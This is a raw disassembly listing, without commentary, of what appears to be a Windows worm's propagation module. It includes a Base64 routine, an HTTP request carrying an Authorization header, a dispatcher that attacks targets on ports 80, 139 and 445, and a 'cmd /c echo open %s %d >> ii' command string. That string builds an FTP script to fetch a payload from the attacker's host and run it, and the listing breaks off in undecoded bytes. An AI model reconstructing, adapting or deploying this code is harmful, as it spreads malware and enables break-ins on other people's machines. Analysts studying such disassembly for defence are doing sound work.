; =============== S U B	R O U T	I N E =======================================



sub_404032	proc near		; CODE XREF: sub_4041D4+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_4230E7
		call	sub_418290
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404667
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403FE6
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_404074
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4045E2

loc_404074:				; CODE XREF: sub_404032+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404191
		mov	ebx, [ebp+10h]

loc_404083:				; CODE XREF: sub_404032+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40408D
		push	3
		jmp	short loc_40409F
; ---------------------------------------------------------------------------

loc_40408D:				; CODE XREF: sub_404032+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_404097
		push	2
		jmp	short loc_40409F
; ---------------------------------------------------------------------------

loc_404097:				; CODE XREF: sub_404032+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4040A0
		push	1

loc_40409F:				; CODE XREF: sub_404032+59j
					; sub_404032+63j
		pop	ebx

loc_4040A0:				; CODE XREF: sub_404032+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_424288
		fstp	[esp+40h+var_40]
		call	sub_417DEB
		pop	ecx
		pop	ecx
		call	sub_417DC4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4040DF
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_4040DF:				; CODE XREF: sub_404032+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40414D
		add	[ebp-18h], eax

loc_404131:				; CODE XREF: sub_404032+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_42876C[eax]
		push	eax
		push	1
		call	sub_404464
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_404131

loc_40414D:				; CODE XREF: sub_404032+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40416B
		push	dword ptr [ebp+14h]
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4044BD
		mov	[ebp-18h], edi

loc_40416B:				; CODE XREF: sub_404032+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_404185
		sub	esi, [ebp-1Ch]

loc_404176:				; CODE XREF: sub_404032+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404464
		dec	esi
		jnz	short loc_404176

loc_404185:				; CODE XREF: sub_404032+13Fj
		cmp	[ebp+10h], edi
		ja	loc_404083
		push	1
		pop	ebx

loc_404191:				; CODE XREF: sub_404032+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		push	dword_424280
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404514
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_404032	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041D4	proc near		; CODE XREF: ___:004043CFp
		mov	eax, offset loc_423104
		call	sub_418290
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_436EDC
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_404032
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417B89
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40421E
		xor	bl, bl
		jmp	short loc_404262
; ---------------------------------------------------------------------------

loc_40421E:				; CODE XREF: sub_4041D4+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_424290
		cmp	ecx, ebx
		jnz	short loc_40422C
		mov	ecx, eax

loc_40422C:				; CODE XREF: sub_4041D4+54j
		cmp	[ebp+18h], ebx
		jz	short loc_404234
		mov	eax, [ebp+18h]

loc_404234:				; CODE XREF: sub_4041D4+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41782A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43ADE8
		cmp	eax, esi
		jz	short loc_404259
		xor	bl, bl
		jmp	short loc_40425B
; ---------------------------------------------------------------------------

loc_404259:				; CODE XREF: sub_4041D4+7Fj
		mov	bl, 1

loc_40425B:				; CODE XREF: sub_4041D4+83j
		push	edi
		call	sub_417C3B
		pop	ecx

loc_404262:				; CODE XREF: sub_4041D4+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404667
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4041D4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_428918
		push	eax
		call	sub_417390
		add	esp, 0Ch
		mov	eax, offset byte_42F674
		push	eax
		push	eax
		push	dword_436F0C
		push	dword ptr [ebp+8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41782A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4287B0
		push	eax
		call	sub_403A90
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40432B
		xor	eax, eax
		jmp	loc_404457
; ---------------------------------------------------------------------------

loc_40432B:				; CODE XREF: ___:00404322j
		mov	[ebp-0Ch], esi

loc_40432E:				; CODE XREF: ___:0040442Ej
		test	esi, esi
		jnz	loc_404434
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40441C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43AD98
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43ADD8
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_404411
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_4043D9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_4046A3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4041D4
		add	esp, 1Ch
		jmp	short loc_40440E
; ---------------------------------------------------------------------------

loc_4043D9:				; CODE XREF: ___:00404397j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4043F3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403F94
		jmp	short loc_40440B
; ---------------------------------------------------------------------------

loc_4043F3:				; CODE XREF: ___:004043E3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404411
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403EBA

loc_40440B:				; CODE XREF: ___:004043F1j
		add	esp, 0Ch

loc_40440E:				; CODE XREF: ___:004043D7j
		movzx	esi, al

loc_404411:				; CODE XREF: ___:0040438Aj
					; ___:004043FDj
		push	ebx
		call	dword_43AE30
		test	esi, esi
		jnz	short loc_404427

loc_40441C:				; CODE XREF: ___:00404347j
		push	3E8h
		call	near ptr 2610E42h
		nop

loc_404427:				; CODE XREF: ___:0040441Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40432E

loc_404434:				; CODE XREF: ___:00404330j
		lea	ecx, [ebp-8]
		call	sub_4038B5
		test	esi, esi
		jz	short loc_404455
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_404455:				; CODE XREF: ___:0040443Ej
		mov	eax, esi

loc_404457:				; CODE XREF: ___:00404326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230C8

loc_40445C:				; CODE XREF: sub_4230C8+3j
					; ___:004230E1j ...
		push	1
		call	sub_404667
		retn
; END OF FUNCTION CHUNK	FOR sub_4230C8

; =============== S U B	R O U T	I N E =======================================



sub_404464	proc near		; CODE XREF: sub_404032+110p
					; sub_404032+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40447E
		call	sub_42298A

loc_40447E:				; CODE XREF: sub_404464+13j
		test	ebx, ebx
		jbe	short loc_4044B5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4044B5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417330
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_4044B5:				; CODE XREF: sub_404464+1Cj
					; sub_404464+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044BD	proc near		; CODE XREF: sub_404032+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4044D7
		call	sub_42298A

loc_4044D7:				; CODE XREF: sub_4044BD+13j
		test	ebx, ebx
		jbe	short loc_40450C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_40450C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40450C:				; CODE XREF: sub_4044BD+1Cj
					; sub_4044BD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4044BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404514	proc near		; CODE XREF: sub_404032+17Cp
					; sub_4228A0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40452C
		call	sub_422863

loc_40452C:				; CODE XREF: sub_404514+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40453E
		mov	esi, [ebp+arg_8]

loc_40453E:				; CODE XREF: sub_404514+25j
		cmp	edi, ebx
		jnz	short loc_404560
		push	dword_424280
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4046D8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4046D8
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------

loc_404560:				; CODE XREF: sub_404514+2Cj
		test	esi, esi
		jbe	short loc_4045A3
		cmp	esi, eax
		jnz	short loc_4045A3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404574
		mov	eax, offset dword_424290

loc_404574:				; CODE XREF: sub_404514+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4045A3
		push	1
		mov	ecx, edi
		call	sub_404667
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40458F
		mov	eax, offset dword_424290

loc_40458F:				; CODE XREF: sub_404514+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------

loc_4045A3:				; CODE XREF: sub_404514+4Ej
					; sub_404514+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4045D9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4045BD
		mov	eax, offset dword_424290

loc_4045BD:				; CODE XREF: sub_404514+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_417390
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_4045D9:				; CODE XREF: sub_404514+4Aj
					; sub_404514+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404514	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045E2	proc near		; CODE XREF: sub_404032+3Dp
					; sub_404464+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4045F4
		call	sub_42298A

loc_4045F4:				; CODE XREF: sub_4045E2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40461D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40461D
		cmp	al, 0FFh
		jz	short loc_40461D
		cmp	edi, edx
		jnz	short loc_404658
		dec	al
		push	edx
		mov	[ecx-1], al

loc_404612:				; CODE XREF: sub_4045E2+47j
		mov	ecx, esi
		call	sub_404667

loc_404619:				; CODE XREF: sub_4045E2+4Bj
					; sub_4045E2+52j
		xor	al, al
		jmp	short loc_404662
; ---------------------------------------------------------------------------

loc_40461D:				; CODE XREF: sub_4045E2+19j
					; sub_4045E2+20j ...
		cmp	edi, edx
		jnz	short loc_404636
		cmp	[esp+8+arg_4], dl
		jz	short loc_40462B
		push	1
		jmp	short loc_404612
; ---------------------------------------------------------------------------

loc_40462B:				; CODE XREF: sub_4045E2+43j
		cmp	ecx, edx
		jz	short loc_404619
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404619
; ---------------------------------------------------------------------------

loc_404636:				; CODE XREF: sub_4045E2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404653
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404648
		cmp	eax, edi
		jnb	short loc_404660

loc_404648:				; CODE XREF: sub_4045E2+60j
		push	1
		mov	ecx, esi
		call	sub_404667
		jmp	short loc_404658
; ---------------------------------------------------------------------------

loc_404653:				; CODE XREF: sub_4045E2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404660

loc_404658:				; CODE XREF: sub_4045E2+28j
					; sub_4045E2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40473F

loc_404660:				; CODE XREF: sub_4045E2+64j
					; sub_4045E2+74j
		mov	al, 1

loc_404662:				; CODE XREF: sub_4045E2+39j
		pop	edi
		pop	esi
		retn	8
sub_4045E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_404667	proc near		; CODE XREF: sub_404032+1Fp
					; sub_404032+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404693
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404693
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40468C
		cmp	al, 0FFh
		jz	short loc_40468C
		dec	al
		mov	[ecx], al
		jmp	short loc_404693
; ---------------------------------------------------------------------------

loc_40468C:				; CODE XREF: sub_404667+19j
					; sub_404667+1Dj
		push	ecx
		call	sub_4182AF
		pop	ecx

loc_404693:				; CODE XREF: sub_404667+8j
					; sub_404667+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404667	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A3	proc near		; CODE XREF: ___:004043C3p
					; sub_4047FC+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4046D1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_4046D1:				; CODE XREF: sub_4046A3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4046A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046D8	proc near		; CODE XREF: sub_404514+39p
					; sub_404514+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4046EB
		call	sub_422863

loc_4046EB:				; CODE XREF: sub_4046D8+Cj
		mov	ecx, edi
		call	sub_4047FC
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404701
		mov	ebx, eax

loc_404701:				; CODE XREF: sub_4046D8+25j
		test	ebx, ebx
		jbe	short loc_404737
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4182C0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4045E2
		test	al, al
		jz	short loc_404737
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_404737:				; CODE XREF: sub_4046D8+2Bj
					; sub_4046D8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4046D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40473F	proc near		; CODE XREF: sub_4045E2+79p
		mov	eax, offset loc_423110
		call	sub_418290
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404765
		mov	edi, [ebp+8]

loc_404765:				; CODE XREF: sub_40473F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404772
		xor	eax, eax

loc_404772:				; CODE XREF: sub_40473F+2Fj
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4047A3
; ---------------------------------------------------------------------------

loc_40477E:				; DATA XREF: ___:00424F9Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40478D
		xor	eax, eax

loc_40478D:				; CODE XREF: sub_40473F+4Aj
		push	eax
		call	sub_4185F5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40479D
		retn
; ---------------------------------------------------------------------------

loc_40479D:				; DATA XREF: sub_40473F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_4047A3:				; CODE XREF: sub_40473F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4047C1
		cmp	eax, edi
		jbe	short loc_4047B0
		mov	eax, edi

loc_4047B0:				; CODE XREF: sub_40473F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_417390
		add	esp, 0Ch

loc_4047C1:				; CODE XREF: sub_40473F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404667
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4047E1
		mov	edi, ebx

loc_4047E1:				; CODE XREF: sub_40473F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40473F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047FC	proc near		; CODE XREF: sub_4046D8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404829
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404829
		cmp	al, 0FFh
		jz	short loc_404829
		push	1
		call	sub_404667
		push	esi
		call	sub_417AB0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4046A3

loc_404829:				; CODE XREF: sub_4047FC+9j
					; sub_4047FC+10j ...
		pop	edi
		pop	esi
		retn
sub_4047FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40482C	proc near		; DATA XREF: ___:00426008o
		test	byte_4CDCAC, 1
		jnz	short loc_40483C
		or	byte_4CDCAC, 1

loc_40483C:				; CODE XREF: sub_40482C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_418670
		pop	ecx
		retn
sub_40482C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40484E	proc near		; DATA XREF: ___:0042600Co
		jmp	$+5
sub_40484E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404853	proc near
		mov	eax, dword_428BE0
		add	eax, 6
		mov	dword_436EF8, eax
		retn
sub_404853	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404861	proc near		; CODE XREF: sub_404861+D0p
					; ___:00404DC0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_404875
		or	[ebp+arg_7], 1
		jmp	short loc_404879
; ---------------------------------------------------------------------------

loc_404875:				; CODE XREF: sub_404861+Cj
		and	[ebp+arg_7], 0FEh

loc_404879:				; CODE XREF: sub_404861+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40489D
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_4048AF
; ---------------------------------------------------------------------------

loc_40489D:				; CODE XREF: sub_404861+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_4048AF:				; CODE XREF: sub_404861+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_404948
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_40493F
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40493F
		push	[ebp+arg_20]
		call	sub_417C3B
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40493B
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		jmp	short loc_40494A
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_404861+B3j
		mov	al, 1
		jmp	short loc_40494A
; ---------------------------------------------------------------------------

loc_40493F:				; CODE XREF: sub_404861+9Cj
					; sub_404861+A4j
		push	[ebp+arg_20]
		call	sub_417C3B
		pop	ecx

loc_404948:				; CODE XREF: sub_404861+61j
		xor	al, al

loc_40494A:				; CODE XREF: sub_404861+D8j
					; sub_404861+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404861	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db 0B8h	; ╦
		db 0DCh	; э
		db  60h	; `
		db    0
		db    0
		db 0E8h	; Х
		db 0D4h	; т
		db  31h	; 1
		db    1
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db  8Ch	; ▄
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db  24h	; $
		db  3Eh	; >
		db    1
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; ш
		db  85h	; ┘
		db 0C0h	; ю
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  28h	; (
		db  86h	; ├
		db  42h	; B
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db  9Ch	; °
		db  2Eh	; .
		db    1
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; Х
		db  93h	; ⌠
		db  29h	; )
		db    1
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  89h	; ┴
		db  85h	; ┘
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ╦
